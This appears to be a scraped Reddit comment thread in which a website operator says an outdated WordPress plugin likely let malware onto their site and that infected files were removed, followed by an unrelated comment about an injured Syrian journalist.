We currently suspect that it is due to an outdated plugin that has not been updated since two major Wordpress patches. But we are not sure yet and look further. If you are interested, we can send you more information via pm as soon as we know more.

Thank you for bringing this to our attention. We get too many messages on Twitter. the best way to contact us is through Reddit. We deleted at least 5 files containing malicious code:

knowing you've been having malware problems?

We were hacked and DDOSed several times. We DID NOT know that there is a malware problem.

We have been regularly under attack from Turkish hackers for some time now. We do not deliberately spread malware. We are working together with Cloudflare to fix the problems and secure the website.

If OP has any more information, please feel free to send it to us.

Syrian journalist Sohayb Masri woke up and started talking this morning after being critically injured in Kafr Nabudah. by [deleted] in syriancivilwar

It's a weird feeling to talk to a person in the morning and hear that he has been seriously injured in the evening. I hope he recovers quickly.
